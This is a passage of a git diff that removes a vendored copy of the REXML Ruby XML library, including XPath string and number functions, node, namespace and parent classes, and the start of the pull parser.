-    # A number is converted to a string as follows
-    #
-    # NaN is converted to the string NaN 
-    #
-    # positive zero is converted to the string 0 
-    #
-    # negative zero is converted to the string 0 
-    #
-    # positive infinity is converted to the string Infinity 
-    #
-    # negative infinity is converted to the string -Infinity 
-    #
-    # if the number is an integer, the number is represented in decimal form
-    # as a Number with no decimal point and no leading zeros, preceded by a
-    # minus sign (-) if the number is negative
-    #
-    # otherwise, the number is represented in decimal form as a Number
-    # including a decimal point with at least one digit before the decimal
-    # point and at least one digit after the decimal point, preceded by a
-    # minus sign (-) if the number is negative; there must be no leading zeros
-    # before the decimal point apart possibly from the one required digit
-    # immediately before the decimal point; beyond the one required digit
-    # after the decimal point there must be as many, but only as many, more
-    # digits as are needed to uniquely distinguish the number from all other
-    # IEEE 754 numeric values.
-    #
-    # The boolean false value is converted to the string false. The boolean
-    # true value is converted to the string true.
-    #
-    # An object of a type other than the four basic types is converted to a
-    # string in a way that is dependent on that type.
-    def Functions::string( object=nil )
-      #object = @context unless object
-      if object.instance_of? Array
-        string( object[0] )
-      elsif defined? object.node_type
-        if object.node_type == :attribute
-          object.value
-        elsif object.node_type == :element || object.node_type == :document
-          string_value(object)
-        else
-          object.to_s
-        end
-      elsif object.nil?
-        return ""
-      else
-        object.to_s
-      end
-    end
-
-    def Functions::string_value( o )
-      rv = ""
-      o.children.each { |e|
-        if e.node_type == :text
-          rv << e.to_s
-        elsif e.node_type == :element
-          rv << string_value( e )
-        end
-      }
-      rv
-    end
-
-    # UNTESTED
-    def Functions::concat( *objects )
-      objects.join
-    end
-
-    # Fixed by Mike Stok
-    def Functions::starts_with( string, test )
-      string(string).index(string(test)) == 0
-    end
-
-    # Fixed by Mike Stok
-    def Functions::contains( string, test )
-      string(string).include?(string(test))
-    end
-
-    # Kouhei fixed this 
-    def Functions::substring_before( string, test )
-      ruby_string = string(string)
-      ruby_index = ruby_string.index(string(test))
-      if ruby_index.nil?
-        ""
-      else
-        ruby_string[ 0...ruby_index ]
-      end
-    end
- 
-    # Kouhei fixed this too
-    def Functions::substring_after( string, test )
-      ruby_string = string(string)
-      test_string = string(test)
-      return $1 if ruby_string =~ /#{test}(.*)/
-      ""
-    end
-
-    # Take equal portions of Mike Stok and Sean Russell; mix 
-    # vigorously, and pour into a tall, chilled glass.  Serves 10,000.
-    def Functions::substring( string, start, length=nil )
-      ruby_string = string(string)
-      ruby_length = if length.nil? 
-                      ruby_string.length.to_f
-                    else
-                      number(length)
-                    end
-      ruby_start = number(start)
-
-      # Handle the special cases
-      return '' if (
-        ruby_length.nan? or 
-        ruby_start.nan? or
-        ruby_start.infinite?
-      )
-
-      infinite_length = ruby_length.infinite? == 1
-      ruby_length = ruby_string.length if infinite_length
-        
-      # Now, get the bounds.  The XPath bounds are 1..length; the ruby bounds 
-      # are 0..length.  Therefore, we have to offset the bounds by one.
-      ruby_start = ruby_start.round - 1
-      ruby_length = ruby_length.round
-
-      if ruby_start < 0
-       ruby_length += ruby_start unless infinite_length
-       ruby_start = 0
-      end
-      return '' if ruby_length <= 0
-      ruby_string[ruby_start,ruby_length]
-    end
-
-    # UNTESTED
-    def Functions::string_length( string )
-      string(string).length
-    end
-
-    # UNTESTED
-    def Functions::normalize_space( string=nil )
-      string = string(@@context[:node]) if string.nil?
-      if string.kind_of? Array
-        string.collect{|x| string.to_s.strip.gsub(/\s+/um, ' ') if string}
-      else
-        string.to_s.strip.gsub(/\s+/um, ' ')
-      end
-    end
-
-    # This is entirely Mike Stok's beast
-    def Functions::translate( string, tr1, tr2 )
-      from = string(tr1)
-      to = string(tr2)
-
-      # the map is our translation table.
-      #
-      # if a character occurs more than once in the
-      # from string then we ignore the second &
-      # subsequent mappings
-      #
-      # if a charactcer maps to nil then we delete it
-      # in the output.  This happens if the from
-      # string is longer than the to string
-      #
-      # there's nothing about - or ^ being special in
-      # http://www.w3.org/TR/xpath#function-translate
-      # so we don't build ranges or negated classes
-
-      map = Hash.new
-      0.upto(from.length - 1) { |pos|
-        from_char = from[pos]
-        unless map.has_key? from_char
-          map[from_char] = 
-          if pos < to.length
-            to[pos]
-          else
-            nil
-          end
-        end
-      }
-
-      if ''.respond_to? :chars
-        string(string).chars.collect { |c|
-          if map.has_key? c then map[c] else c end
-        }.compact.join
-      else
-        string(string).unpack('U*').collect { |c|
-          if map.has_key? c then map[c] else c end
-        }.compact.pack('U*')
-      end
-    end
-
-    # UNTESTED
-    def Functions::boolean( object=nil )
-      if object.kind_of? String
-        if object =~ /\d+/u
-          return object.to_f != 0
-        else
-          return object.size > 0
-        end
-      elsif object.kind_of? Array
-        object = object.find{|x| x and true}
-      end
-      return object ? true : false
-    end
-
-    # UNTESTED
-    def Functions::not( object )
-      not boolean( object )
-    end
-
-    # UNTESTED
-    def Functions::true( )
-      true
-    end
-
-    # UNTESTED
-    def Functions::false(  )
-      false
-    end
-
-    # UNTESTED
-    def Functions::lang( language )
-      lang = false
-      node = @@context[:node]
-      attr = nil
-      until node.nil?
-        if node.node_type == :element
-          attr = node.attributes["xml:lang"]
-          unless attr.nil?
-            lang = compare_language(string(language), attr)
-            break
-          else
-          end
-        end
-        node = node.parent
-      end
-      lang
-    end
-
-    def Functions::compare_language lang1, lang2
-      lang2.downcase.index(lang1.downcase) == 0
-    end
-
-    # a string that consists of optional whitespace followed by an optional
-    # minus sign followed by a Number followed by whitespace is converted to
-    # the IEEE 754 number that is nearest (according to the IEEE 754
-    # round-to-nearest rule) to the mathematical value represented by the
-    # string; any other string is converted to NaN
-    #
-    # boolean true is converted to 1; boolean false is converted to 0
-    #
-    # a node-set is first converted to a string as if by a call to the string
-    # function and then converted in the same way as a string argument
-    #
-    # an object of a type other than the four basic types is converted to a
-    # number in a way that is dependent on that type
-    def Functions::number( object=nil )
-      object = @@context[:node] unless object
-      case object
-      when true
-        Float(1)
-      when false
-        Float(0)
-      when Array
-        number(string( object ))
-      when Numeric
-        object.to_f
-      else
-        str = string( object )
-        # If XPath ever gets scientific notation...
-        #if str =~ /^\s*-?(\d*\.?\d+|\d+\.)([Ee]\d*)?\s*$/
-        if str =~ /^\s*-?(\d*\.?\d+|\d+\.)\s*$/
-          str.to_f
-        else
-          (0.0 / 0.0)
-        end
-      end
-    end
-
-    def Functions::sum( nodes )
-      nodes = [nodes] unless nodes.kind_of? Array
-      nodes.inject(0) { |r,n| r += number(string(n)) }
-    end
-    
-    def Functions::floor( number )
-      number(number).floor
-    end
-
-    def Functions::ceiling( number )
-      number(number).ceil
-    end
-
-    def Functions::round( number )
-      begin
-        number(number).round
-      rescue FloatDomainError
-        number(number)
-      end
-    end
-
-    def Functions::processing_instruction( node )
-      node.node_type == :processing_instruction
-    end
-
-    def Functions::method_missing( id )
-      puts "METHOD MISSING #{id.id2name}"
-      XPath.match( @@context[:node], id.id2name )
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/instruction.rb b/vendor/plugins/rexml/lib/rexml/instruction.rb
deleted file mode 100644
index c16b894b..00000000
--- a/vendor/plugins/rexml/lib/rexml/instruction.rb
+++ /dev/null
@@ -1,70 +0,0 @@
-require "rexml/child"
-require "rexml/source"
-
-module REXML
-	# Represents an XML Instruction; IE, <? ... ?>
-	# TODO: Add parent arg (3rd arg) to constructor
-	class Instruction < Child
-		START = '<\?'
-		STOP = '\?>'
-
-		# target is the "name" of the Instruction; IE, the "tag" in <?tag ...?>
-		# content is everything else.
-		attr_accessor :target, :content
-
-		# Constructs a new Instruction
-		# @param target can be one of a number of things.  If String, then 
-		# the target of this instruction is set to this.  If an Instruction,
-		# then the Instruction is shallowly cloned (target and content are
-		# copied).  If a Source, then the source is scanned and parsed for
-		# an Instruction declaration.
-		# @param content Must be either a String, or a Parent.  Can only
-		# be a Parent if the target argument is a Source.  Otherwise, this
-		# String is set as the content of this instruction.
-		def initialize(target, content=nil)
-			if target.kind_of? String
-				super()
-				@target = target
-				@content = content
-			elsif target.kind_of? Instruction
-				super(content)
-				@target = target.target
-				@content = target.content
-			end
-			@content.strip! if @content
-		end
-
-		def clone
-			Instruction.new self
-		end
-		
-    # == DEPRECATED
-    # See the rexml/formatters package
-    #
-		def write writer, indent=-1, transitive=false, ie_hack=false
-      Kernel.warn( "#{self.class.name}.write is deprecated" )
-			indent(writer, indent)
-			writer << START.sub(/\\/u, '')
-			writer << @target
-			writer << ' '
-			writer << @content
-			writer << STOP.sub(/\\/u, '')
-		end
-
-		# @return true if other is an Instruction, and the content and target
-		# of the other matches the target and content of this object.
-		def ==( other )
-			other.kind_of? Instruction and
-			other.target == @target and
-			other.content == @content
-		end
-
-    def node_type
-      :processing_instruction
-    end
-
-    def inspect
-      "<?p-i #{target} ...?>"
-    end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/light/node.rb b/vendor/plugins/rexml/lib/rexml/light/node.rb
deleted file mode 100644
index 943ec5f1..00000000
--- a/vendor/plugins/rexml/lib/rexml/light/node.rb
+++ /dev/null
@@ -1,196 +0,0 @@
-require 'rexml/xmltokens'
-require 'rexml/light/node'
-
-# [ :element, parent, name, attributes, children* ]
-	# a = Node.new
-	# a << "B"		# => <a>B</a>
-	# a.b			# => <a>B<b/></a>
-	# a.b[1]			# => <a>B<b/><b/><a>
-	# a.b[1]["x"] = "y"	# => <a>B<b/><b x="y"/></a>
-	# a.b[0].c		# => <a>B<b><c/></b><b x="y"/></a>
-	# a.b.c << "D"		# => <a>B<b><c>D</c></b><b x="y"/></a>
-module REXML
-	module Light
-		# Represents a tagged XML element.  Elements are characterized by
-		# having children, attributes, and names, and can themselves be
-		# children.
-		class Node
-			NAMESPLIT = /^(?:(#{XMLTokens::NCNAME_STR}):)?(#{XMLTokens::NCNAME_STR})/u
-			PARENTS = [ :element, :document, :doctype ]
-			# Create a new element.
-			def initialize node=nil
-				@node = node
-				if node.kind_of? String
-					node = [ :text, node ]
-				elsif node.nil?
-					node = [ :document, nil, nil ]
-				elsif node[0] == :start_element
-					node[0] = :element
-				elsif node[0] == :start_doctype
-					node[0] = :doctype
-				elsif node[0] == :start_document
-					node[0] = :document
-				end
-			end
-
-			def size
-				if PARENTS.include? @node[0]
-					@node[-1].size
-				else
-					0
-				end
-			end
-
-			def each( &block )
-				size.times { |x| yield( at(x+4) ) }
-			end
-
-			def name
-				at(2)
-			end
-
-			def name=( name_str, ns=nil )
-				pfx = ''
-				pfx = "#{prefix(ns)}:" if ns
-				_old_put(2, "#{pfx}#{name_str}")
-			end
-
-			def parent=( node )
-				_old_put(1,node)
-			end
-
-			def local_name
-				namesplit
-				@name
-			end
-
-			def local_name=( name_str )
-				_old_put( 1, "#@prefix:#{name_str}" )
-			end
-
-			def prefix( namespace=nil )
-				prefix_of( self, namespace )
-			end
-
-			def namespace( prefix=prefix() )
-				namespace_of( self, prefix )
-			end
-
-			def namespace=( namespace )
-				@prefix = prefix( namespace )
-				pfx = ''
-				pfx = "#@prefix:" if @prefix.size > 0
-				_old_put(1, "#{pfx}#@name")
-			end
-
-			def []( reference, ns=nil )
-				if reference.kind_of? String
-					pfx = ''
-					pfx = "#{prefix(ns)}:" if ns
-					at(3)["#{pfx}#{reference}"]
-				elsif reference.kind_of? Range
-					_old_get( Range.new(4+reference.begin, reference.end, reference.exclude_end?) )
-				else
-					_old_get( 4+reference )
-				end
-			end
-
-			def =~( path )
-				XPath.match( self, path )
-			end
-
-			# Doesn't handle namespaces yet
-			def []=( reference, ns, value=nil )
-				if reference.kind_of? String
-					value = ns unless value
-					at( 3 )[reference] = value
-				elsif reference.kind_of? Range
-					_old_put( Range.new(3+reference.begin, reference.end, reference.exclude_end?), ns )
-				else
-					if value
-						_old_put( 4+reference, ns, value )
-					else
-						_old_put( 4+reference, ns )
-					end
-				end
-			end
-
-			# Append a child to this element, optionally under a provided namespace.
-			# The namespace argument is ignored if the element argument is an Element
-			# object.  Otherwise, the element argument is a string, the namespace (if
-			# provided) is the namespace the element is created in.
-			def << element
-				if node_type() == :text
-					at(-1) << element
-				else
-					newnode = Node.new( element )
-					newnode.parent = self
-					self.push( newnode )
-				end
-				at(-1)
-			end
-
-			def node_type
-				_old_get(0)
-			end
-
-			def text=( foo )
-				replace = at(4).kind_of?(String)? 1 : 0
-				self._old_put(4,replace, normalizefoo)
-			end
-
-			def root
-				context = self
-				context = context.at(1) while context.at(1)
-			end
-
-			def has_name?( name, namespace = '' )
-				at(3) == name and namespace() == namespace
-			end
-
-			def children
-				self
-			end
-
-			def parent
-				at(1)
-			end
-
-			def to_s
-
-			end
-
-			private
-
-			def namesplit
-				return if @name.defined?
-				at(2) =~ NAMESPLIT
-				@prefix = '' || $1
-				@name = $2
-			end
-
-			def namespace_of( node, prefix=nil )
-				if not prefix
-					name = at(2)
-					name =~ NAMESPLIT
-					prefix = $1
-				end
-				to_find = 'xmlns'
-				to_find = "xmlns:#{prefix}" if not prefix.nil?
-				ns = at(3)[ to_find ]
-				ns ? ns : namespace_of( @node[0], prefix )
-			end
-
-			def prefix_of( node, namespace=nil )
-				if not namespace
-					name = node.name
-					name =~ NAMESPLIT
-					$1
-				else
-					ns = at(3).find { |k,v| v == namespace }
-					ns ? ns : prefix_of( node.parent, namespace )
-				end
-			end
-		end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/namespace.rb b/vendor/plugins/rexml/lib/rexml/namespace.rb
deleted file mode 100644
index 3e879058..00000000
--- a/vendor/plugins/rexml/lib/rexml/namespace.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-require 'rexml/xmltokens'
-
-module REXML
-	# Adds named attributes to an object.
-	module Namespace
-		# The name of the object, valid if set
-		attr_reader :name, :expanded_name
-		# The expanded name of the object, valid if name is set
-		attr_accessor :prefix
-		include XMLTokens
-		NAMESPLIT = /^(?:(#{NCNAME_STR}):)?(#{NCNAME_STR})/u
-
-		# Sets the name and the expanded name
-		def name=( name )
-			@expanded_name = name
-			name =~ NAMESPLIT
-			if $1
-				@prefix = $1
-			else
-				@prefix = ""
-				@namespace = ""
-			end
-			@name = $2
-		end
-
-		# Compares names optionally WITH namespaces
-		def has_name?( other, ns=nil )
-			if ns
-				return (namespace() == ns and name() == other)
-			elsif other.include? ":"
-				return fully_expanded_name == other
-			else
-				return name == other
-			end
-		end
-
-		alias :local_name :name
-
-		# Fully expand the name, even if the prefix wasn't specified in the
-		# source file.
-		def fully_expanded_name
-			ns = prefix
-			return "#{ns}:#@name" if ns.size > 0 
-			return @name
-		end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/node.rb b/vendor/plugins/rexml/lib/rexml/node.rb
deleted file mode 100644
index d5e8456e..00000000
--- a/vendor/plugins/rexml/lib/rexml/node.rb
+++ /dev/null
@@ -1,75 +0,0 @@
-require "rexml/parseexception"
-require "rexml/formatters/pretty"
-require "rexml/formatters/default"
-
-module REXML
-	# Represents a node in the tree.  Nodes are never encountered except as
-	# superclasses of other objects.  Nodes have siblings.
-	module Node
-		# @return the next sibling (nil if unset)
-		def next_sibling_node
-			return nil if @parent.nil?
-			@parent[ @parent.index(self) + 1 ]
-		end
-
-		# @return the previous sibling (nil if unset)
-		def previous_sibling_node
-			return nil if @parent.nil?
-			ind = @parent.index(self)
-			return nil if ind == 0
-			@parent[ ind - 1 ]
-		end
-
-    # indent::
-    #   *DEPRECATED* This parameter is now ignored.  See the formatters in the
-    #   REXML::Formatters package for changing the output style.
-		def to_s indent=nil
-      unless indent.nil?
-        Kernel.warn( "#{self.class.name}.to_s(indent) parameter is deprecated" )
-        f = REXML::Formatters::Pretty.new( indent )
-        f.write( self, rv = "" )
-      else
-        f = REXML::Formatters::Default.new
-        f.write( self, rv = "" )
-      end
-      return rv
-		end
-
-		def indent to, ind
- 			if @parent and @parent.context and not @parent.context[:indentstyle].nil? then
- 				indentstyle = @parent.context[:indentstyle]
- 			else
- 				indentstyle = '  '
- 			end
- 			to << indentstyle*ind unless ind<1
-		end
-
-		def parent?
-			false;
-		end
-
-
-		# Visit all subnodes of +self+ recursively
-		def each_recursive(&block) # :yields: node
-			self.elements.each {|node|
-				block.call(node)
-				node.each_recursive(&block)
-			}
-		end
-
-		# Find (and return) first subnode (recursively) for which the block 
-    # evaluates to true. Returns +nil+ if none was found.
-		def find_first_recursive(&block) # :yields: node
-      each_recursive {|node|
-        return node if block.call(node)
-      }
-      return nil
-    end
-
-    # Returns the position that +self+ holds in its parent's array, indexed
-    # from 1.
-    def index_in_parent
-      parent.index(self)+1
-    end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/output.rb b/vendor/plugins/rexml/lib/rexml/output.rb
deleted file mode 100644
index be4d23d4..00000000
--- a/vendor/plugins/rexml/lib/rexml/output.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-require 'rexml/encoding'
-
-module REXML
-	class Output
-		include Encoding
-    
-    attr_reader :encoding
-
-		def initialize real_IO, encd="iso-8859-1"
-			@output = real_IO
-			self.encoding = encd
-
-			@to_utf = encd == UTF_8 ? false : true
-		end
-
-		def <<( content )
-			@output << (@to_utf ? self.encode(content) : content)
-		end
-
-    def to_s
-      "Output[#{encoding}]"
-    end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/parent.rb b/vendor/plugins/rexml/lib/rexml/parent.rb
deleted file mode 100644
index a20aaaef..00000000
--- a/vendor/plugins/rexml/lib/rexml/parent.rb
+++ /dev/null
@@ -1,166 +0,0 @@
-require "rexml/child"
-
-module REXML
-  # A parent has children, and has methods for accessing them.  The Parent
-  # class is never encountered except as the superclass for some other
-  # object.
-  class Parent < Child
-    include Enumerable
-    
-    # Constructor
-    # @param parent if supplied, will be set as the parent of this object
-    def initialize parent=nil
-      super(parent)
-      @children = []
-    end
-    
-    def add( object )
-      #puts "PARENT GOTS #{size} CHILDREN"
-      object.parent = self
-      @children << object
-      #puts "PARENT NOW GOTS #{size} CHILDREN"
-      object
-    end
-    
-    alias :push :add
-    alias :<< :push
-    
-    def unshift( object )
-      object.parent = self
-      @children.unshift object
-    end
-    
-    def delete( object )
-      found = false
-      @children.delete_if {|c| c.equal?(object) and found = true }
-      object.parent = nil if found
-    end
-    
-    def each(&block)
-      @children.each(&block)
-    end
-    
-    def delete_if( &block )
-      @children.delete_if(&block)
-    end
-    
-    def delete_at( index )
-      @children.delete_at index
-    end
-    
-    def each_index( &block )
-      @children.each_index(&block)
-    end
-    
-    # Fetches a child at a given index
-    # @param index the Integer index of the child to fetch
-    def []( index )
-      @children[index]
-    end
-    
-    alias :each_child :each
-    
-    
-    
-    # Set an index entry.  See Array.[]=
-    # @param index the index of the element to set
-    # @param opt either the object to set, or an Integer length
-    # @param child if opt is an Integer, this is the child to set
-    # @return the parent (self)
-    def []=( *args )
-      args[-1].parent = self
-      @children[*args[0..-2]] = args[-1]
-    end
-    
-    # Inserts an child before another child
-    # @param child1 this is either an xpath or an Element.  If an Element,
-    # child2 will be inserted before child1 in the child list of the parent.
-    # If an xpath, child2 will be inserted before the first child to match
-    # the xpath.
-    # @param child2 the child to insert
-    # @return the parent (self)
-    def insert_before( child1, child2 )
-      if child1.kind_of? String
-        child1 = XPath.first( self, child1 )
-        child1.parent.insert_before child1, child2
-      else
-        ind = index(child1)
-        child2.parent.delete(child2) if child2.parent
-        @children[ind,0] = child2
-        child2.parent = self
-      end
-      self
-    end
-    
-    # Inserts an child after another child
-    # @param child1 this is either an xpath or an Element.  If an Element,
-    # child2 will be inserted after child1 in the child list of the parent.
-    # If an xpath, child2 will be inserted after the first child to match
-    # the xpath.
-    # @param child2 the child to insert
-    # @return the parent (self)
-    def insert_after( child1, child2 )
-      if child1.kind_of? String
-        child1 = XPath.first( self, child1 )
-        child1.parent.insert_after child1, child2
-      else
-        ind = index(child1)+1
-        child2.parent.delete(child2) if child2.parent
-        @children[ind,0] = child2
-        child2.parent = self
-      end
-      self
-    end
-    
-    def to_a
-      @children.dup
-    end
-    
-    # Fetches the index of a given child
-    # @param child the child to get the index of
-    # @return the index of the child, or nil if the object is not a child
-    # of this parent.
-    def index( child )
-      count = -1
-      @children.find { |i| count += 1 ; i.hash == child.hash }
-      count
-    end
-    
-    # @return the number of children of this parent
-    def size
-      @children.size
-    end
-    
-    alias :length :size
-    
-    # Replaces one child with another, making sure the nodelist is correct
-    # @param to_replace the child to replace (must be a Child)
-    # @param replacement the child to insert into the nodelist (must be a 
-    # Child)
-    def replace_child( to_replace, replacement )
-      @children.map! {|c| c.equal?( to_replace ) ? replacement : c }
-      to_replace.parent = nil
-      replacement.parent = self
-    end
-    
-    # Deeply clones this object.  This creates a complete duplicate of this
-    # Parent, including all descendants.
-    def deep_clone
-      cl = clone()
-      each do |child|
-        if child.kind_of? Parent
-          cl << child.deep_clone
-        else
-          cl << child.clone
-        end
-      end
-      cl
-    end
-    
-    alias :children :to_a
-    
-    def parent?
-      true
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/parseexception.rb b/vendor/plugins/rexml/lib/rexml/parseexception.rb
deleted file mode 100644
index feb7a7e6..00000000
--- a/vendor/plugins/rexml/lib/rexml/parseexception.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-module REXML
-  class ParseException < RuntimeError
-    attr_accessor :source, :parser, :continued_exception
-
-    def initialize( message, source=nil, parser=nil, exception=nil )
-      super(message)
-      @source = source
-      @parser = parser
-      @continued_exception = exception
-    end
-
-    def to_s
-      # Quote the original exception, if there was one
-      if @continued_exception
-        err = @continued_exception.inspect
-        err << "\n"
-        err << @continued_exception.backtrace.join("\n")
-        err << "\n...\n"
-      else
-        err = ""
-      end
-
-      # Get the stack trace and error message
-      err << super
-
-      # Add contextual information
-      if @source
-        err << "\nLine: #{line}\n"
-        err << "Position: #{position}\n"
-        err << "Last 80 unconsumed characters:\n"
-        err << @source.buffer[0..80].gsub(/\n/, ' ')
-      end
-      
-      err
-    end
-
-    def position
-      @source.current_line[0] if @source and defined? @source.current_line and
-      @source.current_line
-    end
-
-    def line
-      @source.current_line[2] if @source and defined? @source.current_line and 
-      @source.current_line
-    end
-
-    def context
-      @source.current_line
-    end
-  end  
-end
diff --git a/vendor/plugins/rexml/lib/rexml/parsers/baseparser.rb b/vendor/plugins/rexml/lib/rexml/parsers/baseparser.rb
deleted file mode 100644
index 162d029a..00000000
--- a/vendor/plugins/rexml/lib/rexml/parsers/baseparser.rb
+++ /dev/null
@@ -1,530 +0,0 @@
-require 'rexml/parseexception'
-require 'rexml/undefinednamespaceexception'
-require 'rexml/source'
-require 'set'
-
-module REXML
-  module Parsers
-    # = Using the Pull Parser
-    # <em>This API is experimental, and subject to change.</em>
-    #  parser = PullParser.new( "<a>text<b att='val'/>txet</a>" )
-    #  while parser.has_next?
-    #    res = parser.next
-    #    puts res[1]['att'] if res.start_tag? and res[0] == 'b'
-    #  end
-    # See the PullEvent class for information on the content of the results.
-    # The data is identical to the arguments passed for the various events to
-    # the StreamListener API.
-    #
-    # Notice that:
-    #  parser = PullParser.new( "<a>BAD DOCUMENT" )
-    #  while parser.has_next?
-    #    res = parser.next
-    #    raise res[1] if res.error?
-    #  end
-    #
-    # Nat Price gave me some good ideas for the API.
-    class BaseParser
-      if String.method_defined? :encode
-        # Oniguruma / POSIX [understands unicode]
-        LETTER = '[[:alpha:]]'
-        DIGIT = '[[:digit:]]'
-      else
-        # Ruby < 1.9 [doesn't understand unicode]
-        LETTER = 'a-zA-Z'
-        DIGIT = '\d'
-      end
-
-      COMBININGCHAR = '' # TODO
-      EXTENDER = ''      # TODO
-
-      NCNAME_STR= "[#{LETTER}_:][-#{LETTER}#{DIGIT}._:#{COMBININGCHAR}#{EXTENDER}]*"
-      NAME_STR= "(?:(#{NCNAME_STR}):)?(#{NCNAME_STR})"
-      UNAME_STR= "(?:#{NCNAME_STR}:)?#{NCNAME_STR}"
-
-      NAMECHAR = '[\-\w\d\.:]'
-      NAME = "([\\w:]#{NAMECHAR}*)"
-      NMTOKEN = "(?:#{NAMECHAR})+"
-      NMTOKENS = "#{NMTOKEN}(\\s+#{NMTOKEN})*"
-      REFERENCE = "&(?:#{NAME};|#\\d+;|#x[0-9a-fA-F]+;)"
-      REFERENCE_RE = /#{REFERENCE}/
-
-      DOCTYPE_START = /\A\s*<!DOCTYPE\s/um
-      DOCTYPE_PATTERN = /\s*<!DOCTYPE\s+(.*?)(\[|>)/um
-      ATTRIBUTE_PATTERN = /\s*(#{NAME_STR})\s*=\s*(["'])(.*?)\4/um
-      COMMENT_START = /\A<!--/u
-      COMMENT_PATTERN = /<!--(.*?)-->/um
-      CDATA_START = /\A<!\[CDATA\[/u
-      CDATA_END = /^\s*\]\s*>/um
-      CDATA_PATTERN = /<!\[CDATA\[(.*?)\]\]>/um
-      XMLDECL_START = /\A<\?xml\s/u;
-      XMLDECL_PATTERN = /<\?xml\s+(.*?)\?>/um
-      INSTRUCTION_START = /\A<\?/u
-      INSTRUCTION_PATTERN = /<\?(.*?)(\s+.*?)?\?>/um
-      TAG_MATCH = /^<((?>#{NAME_STR}))\s*((?>\s+#{UNAME_STR}\s*=\s*(["']).*?\5)*)\s*(\/)?>/um
-      CLOSE_MATCH = /^\s*<\/(#{NAME_STR})\s*>/um
-
-      VERSION = /\bversion\s*=\s*["'](.*?)['"]/um
-      ENCODING = /\bencoding\s*=\s*["'](.*?)['"]/um
-      STANDALONE = /\bstandalone\s*=\s["'](.*?)['"]/um
-
-      ENTITY_START = /^\s*<!ENTITY/
-      IDENTITY = /^([!\*\w\-]+)(\s+#{NCNAME_STR})?(\s+["'](.*?)['"])?(\s+['"](.*?)["'])?/u
-      ELEMENTDECL_START = /^\s*<!ELEMENT/um
-      ELEMENTDECL_PATTERN = /^\s*(<!ELEMENT.*?)>/um
-      SYSTEMENTITY = /^\s*(%.*?;)\s*$/um
-      ENUMERATION = "\\(\\s*#{NMTOKEN}(?:\\s*\\|\\s*#{NMTOKEN})*\\s*\\)"
-      NOTATIONTYPE = "NOTATION\\s+\\(\\s*#{NAME}(?:\\s*\\|\\s*#{NAME})*\\s*\\)"
-      ENUMERATEDTYPE = "(?:(?:#{NOTATIONTYPE})|(?:#{ENUMERATION}))"
-      ATTTYPE = "(CDATA|ID|IDREF|IDREFS|ENTITY|ENTITIES|NMTOKEN|NMTOKENS|#{ENUMERATEDTYPE})"
-      ATTVALUE = "(?:\"((?:[^<&\"]|#{REFERENCE})*)\")|(?:'((?:[^<&']|#{REFERENCE})*)')"
-      DEFAULTDECL = "(#REQUIRED|#IMPLIED|(?:(#FIXED\\s+)?#{ATTVALUE}))"
-      ATTDEF = "\\s+#{NAME}\\s+#{ATTTYPE}\\s+#{DEFAULTDECL}"
-      ATTDEF_RE = /#{ATTDEF}/
-      ATTLISTDECL_START = /^\s*<!ATTLIST/um
-      ATTLISTDECL_PATTERN = /^\s*<!ATTLIST\s+#{NAME}(?:#{ATTDEF})*\s*>/um
-      NOTATIONDECL_START = /^\s*<!NOTATION/um
-      PUBLIC = /^\s*<!NOTATION\s+(\w[\-\w]*)\s+(PUBLIC)\s+(["'])(.*?)\3(?:\s+(["'])(.*?)\5)?\s*>/um
-      SYSTEM = /^\s*<!NOTATION\s+(\w[\-\w]*)\s+(SYSTEM)\s+(["'])(.*?)\3\s*>/um
-
-      TEXT_PATTERN = /\A([^<]*)/um
-
-      # Entity constants
-      PUBIDCHAR = "\x20\x0D\x0Aa-zA-Z0-9\\-()+,./:=?;!*@$_%#"
-      SYSTEMLITERAL = %Q{((?:"[^"]*")|(?:'[^']*'))}
-      PUBIDLITERAL = %Q{("[#{PUBIDCHAR}']*"|'[#{PUBIDCHAR}]*')}
-      EXTERNALID = "(?:(?:(SYSTEM)\\s+#{SYSTEMLITERAL})|(?:(PUBLIC)\\s+#{PUBIDLITERAL}\\s+#{SYSTEMLITERAL}))"
-      NDATADECL = "\\s+NDATA\\s+#{NAME}"
-      PEREFERENCE = "%#{NAME};"
-      ENTITYVALUE = %Q{((?:"(?:[^%&"]|#{PEREFERENCE}|#{REFERENCE})*")|(?:'([^%&']|#{PEREFERENCE}|#{REFERENCE})*'))}
-      PEDEF = "(?:#{ENTITYVALUE}|#{EXTERNALID})"
-      ENTITYDEF = "(?:#{ENTITYVALUE}|(?:#{EXTERNALID}(#{NDATADECL})?))"
-      PEDECL = "<!ENTITY\\s+(%)\\s+#{NAME}\\s+#{PEDEF}\\s*>"
-      GEDECL = "<!ENTITY\\s+#{NAME}\\s+#{ENTITYDEF}\\s*>"
-      ENTITYDECL = /\s*(?:#{GEDECL})|(?:#{PEDECL})/um
-
-      EREFERENCE = /&(?!#{NAME};)/
-
-      DEFAULT_ENTITIES = { 
-        'gt' => [/&gt;/, '&gt;', '>', />/], 
-        'lt' => [/&lt;/, '&lt;', '<', /</], 
-        'quot' => [/&quot;/, '&quot;', '"', /"/], 
-        "apos" => [/&apos;/, "&apos;", "'", /'/] 
-      }
-
-
-      ######################################################################
-      # These are patterns to identify common markup errors, to make the
-      # error messages more informative.
-      ######################################################################
-      MISSING_ATTRIBUTE_QUOTES = /^<#{NAME_STR}\s+#{NAME_STR}\s*=\s*[^"']/um
-
-      def initialize( source )
-        self.stream = source
-      end
-
-      def add_listener( listener )
-        if !defined?(@listeners) or !@listeners
-          @listeners = []
-          instance_eval <<-EOL
-            alias :_old_pull :pull
-            def pull
-              event = _old_pull
-              @listeners.each do |listener|
-                listener.receive event
-              end
-              event
-            end
-          EOL
-        end
-        @listeners << listener
-      end
-
-      attr_reader :source
-
-      def stream=( source )
-        @source = SourceFactory.create_from( source )
-        @closed = nil
-        @document_status = nil
-        @tags = []
-        @stack = []
-        @entities = []
-        @nsstack = []
-      end
-
-      def position
-        if @source.respond_to? :position
-          @source.position
-        else
-          # FIXME
-          0
-        end
-      end
-
-      # Returns true if there are no more events
-      def empty?
-        return (@source.empty? and @stack.empty?)
-      end
-
